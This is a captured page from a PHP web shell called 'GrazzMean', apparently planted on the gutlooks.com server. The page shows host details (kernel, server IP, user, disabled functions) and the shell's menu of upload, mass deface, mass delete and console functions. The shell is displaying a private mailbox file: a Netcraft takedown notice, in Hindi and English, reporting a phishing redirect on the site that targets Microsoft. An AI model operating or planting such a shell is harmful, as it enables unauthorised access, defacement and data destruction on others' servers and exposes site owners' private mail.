gutlooks.com - GrazzMean

info server
Uname: Linux server.thebazaar99.com 5.14.0-687.17.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jun 22 07:21:26 EDT 2026 x86_64
Software: Apache
PHP version: 8.3.32 [ PHP INFO ] PHP os: Linux
Server Ip: 163.227.92.254
Your Ip: 216.73.217.24
User: gutlooks (1003) | Group: gutlooks (1005)
Safe Mode: OFF
Disable Function:
exec,passthru,shell_exec,system
upload mass deface mass delete console
name : 1726464159.M234624P1716884.server.thebazaar99.com,S=8781,W=8921
Envelope-to: support@gutlooks.com
Delivery-date: Mon, 16 Sep 2024 10:52:39 +0530
Content-Transfer-Encoding: 8bit
Content-Type: multipart/report; boundary="_----------=_172646407819282254544"; report-type="feedback-report"
MIME-Version: 1.0
Date: Mon, 16 Sep 2024 05:21:18 +0000
From: Netcraft Takedown Service <takedown-response+61209263@netcraft.com>
Subject: Issue 61209263: Phishing attack at hxxps://gutlooks[.]com/redirect.php?email=bWdAcHJvZ3VhcmRlZC5jb20=
To: support@gutlooks.com
Message-Id: <0bd0ea0935c4678d4e1266c1386cef1b@takedown.netcraft.com>

This is a multi-part message in MIME format.

--_----------=_172646407819282254544
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
Content-Type: text/plain; charset="UTF-8"

आप वर्तमान में हमारे ग्राहक Microsoft के खिलाफ फिशिंग हुम्ला होस्ट कर रहे हैं: 

hxxps://gutlooks[.]com/redirect.php?email=bWdAcHJvZ3VhcmRlZC5jb20=

आपको इस हमले के बारे में कोई जानकारी नहीं होगी, यद्यपि, आप फिर भी इसे दूर करने के लिए जिम्मेदार हैं.

कृपया करके इस वेबसाइट को जल्द से जल्द बंध कर दिज्ये.

हम समझते हैं कि यह साइट केवल एक रीडायरेक्ट है, हालांकि यह साइट सीधे हमले में शामिल है क्योंकि यह धोखाधड़ी वाली सामग्री को रीडायरेक्ट करता है। इसके अलावा, पुनर्निर्देशन एक धोखेबाज द्वारा नियंत्रित किया जाता है तो हो सकता है भविष्य हमलों में इसका पुन: उपयोग किया जा सकता है। इसलिए इसको हटाना और भी ज़्यादा महत्वपूर्ण है।

इसके अतिरिक्त, कृपया करके इस साईट के विषय-सूचि को जालसाज़ सुरक्षित द्वारा नियंत्रित रखे, जिससे हमारे ग्राहक और कानून प्रवर्तन एजेंसियों इस घटना पर जाँच कर सके जब यह साईट ऑफलाइन हो जाये.

आदर,

Netcraft

फ़ोन: +44(0)1225 447500
फैक्स: +44(0)1225 448600
नेटक्राफ्ट इश्यू नंबर: 61209263

इस हमले के बारे में अपडेट के बारे में हमसे संपर्क करने के लिए, कृपया इस ईमेल का जवाब दें। कृपया ध्यान दें: इस पते के उत्तरों को लॉग किया जाएगा, लेकिन हमेशा पढ़ा नहीं जाता है। यदि आपको लगता है कि आपको यह ईमेल गलती से प्राप्त हुआ है, या आपको और सहायता की आवश्यकता है, तो कृपया संपर्क करें: takedown@netcraft.com।

इस मेल को x-arf टूल से पार्स किया जा सकता है। x-arf के बारे में अधिक जानकारी के लिए http://www.xarf.org/ पर जाएं।
-------------------
Hello,

We have discovered a phishing attack on your network.

hxxps://gutlooks[.]com/redirect.php?email=bWdAcHJvZ3VhcmRlZC5jb20= [103.110.127.135]

We understand that this site is simply a redirect, however this site is directly involved in the attack as it redirects to fraudulent content. Plus, the redirect is controlled by a fraudster so can be reused for future attacks, making its removal all the more important.

You may not have been aware of this attack, however, you are still responsible for removing it.

This attack targets our customer, Microsoft, website URL https://www.microsoft.com/.

Please remove this fraudulent content, and any other associated fraudulent content, as soon as possible.

Additionally, please keep the fraudulent content safe so that our customer and law enforcement agencies can investigate this incident further once the site is offline.

More information about the detected issue is provided at https://incident.netcraft.com/01abe7362a5d/

Kind regards,

Netcraft

Phone: +44(0)1225 447500
Fax: +44(0)1225 448600
Netcraft Issue Number: 61209263

To contact us about updates regarding this attack, please respond to this email. Please note: replies to this address will be logged, but aren't always read. If you believe you have received this email in error, or you require further support, please contact: takedown@netcraft.com.

This mail can be parsed with x-arf tools. Visit http://www.xarf.org/ for more information about x-arf.
--_----------=_172646407819282254544
Content-Disposition: inline
Content-Transfer-Encoding: 7bit
Content-Type: message/feedback-report
MIME-Version: 1.0
X-Mailer: MIME::Lite 3.030 (F2.85; T2.17; A2.20; B3.15; Q3.13)
Date: Mon, 16 Sep 2024 05:21:18 +0000

Feedback-Type: xarf
User-Agent: Netcraft
Version: 1
--_----------=_172646407819282254544
Content-Disposition: attachment; filename="xarf.json"
Content-Transfer-Encoding: base64
Content-Type: application/json; charset=utf-8; name="xarf.json"
MIME-Version: 1.0
X-Mailer: MIME::Lite 3.030 (F2.85; T2.17; A2.20; B3.15; Q3.13)
Date: Mon, 16 Sep 2024 05:21:18 +0000

eyJWZXJzaW9uIjoiMSIsIlJlcG9ydCI6eyJSZXBvcnRlckNhc2VJRCI6IjYxMjA5MjYzIiwiUmVw
b3J0VHlwZSI6IlBoaXNoaW5nIiwiRmlyc3RTZWVuIjoiMjAyNC0wOS0xNlQwNToxNzo0OFoiLCJS
ZXBvcnRlck5vdGVzIjoiU2VlIGh0dHBzOi8vaW5jaWRlbnQubmV0Y3JhZnQuY29tLzAxYWJlNzM2
MmE1ZC8gZm9yIG1vcmUgaW5mb3JtYXRpb24iLCJTb3VyY2VJcCI6IjEwMy4xMTAuMTI3LjEzNSIs
IkRhdGUiOiIyMDI0LTA5LTE2VDA1OjE4OjIyWiIsIlJlcG9ydENsYXNzIjoiQ29udGVudCIsIlNv
dXJjZVVybCI6Imh0dHBzOi8vZ3V0bG9va3MuY29tL3JlZGlyZWN0LnBocD9lbWFpbD1iV2RBY0hK
dlozVmhjbVJsWkM1amIyMCUzRCJ9LCJSZXBvcnRlckluZm8iOnsiUmVwb3J0ZXJPcmdFbWFpbCI6
InRha2Vkb3duLXJlc3BvbnNlKzYxMjA5MjYzQG5ldGNyYWZ0LmNvbSIsIlJlcG9ydGVyT3JnRG9t
YWluIjoibmV0Y3JhZnQuY29tIiwiUmVwb3J0ZXJPcmciOiJOZXRjcmFmdCJ9LCJEaXNjbG9zdXJl
Ijp0cnVlLCJPbkJlaGFsZk9mIjp7IkNvbXBsYWluYW50T3JnRG9tYWluIjoid3d3Lm1pY3Jvc29m
dC5jb20iLCJDb21wbGFpbmFudE9yZyI6Ik1pY3Jvc29mdCIsIkNvbXBsYWluYW50T3JnRW1haWwi
OiJ0YWtlZG93bi1yZXNwb25zZSs2MTIwOTI2M0BuZXRjcmFmdC5jb20ifX0=

--_----------=_172646407819282254544--
GrazzMean Shell
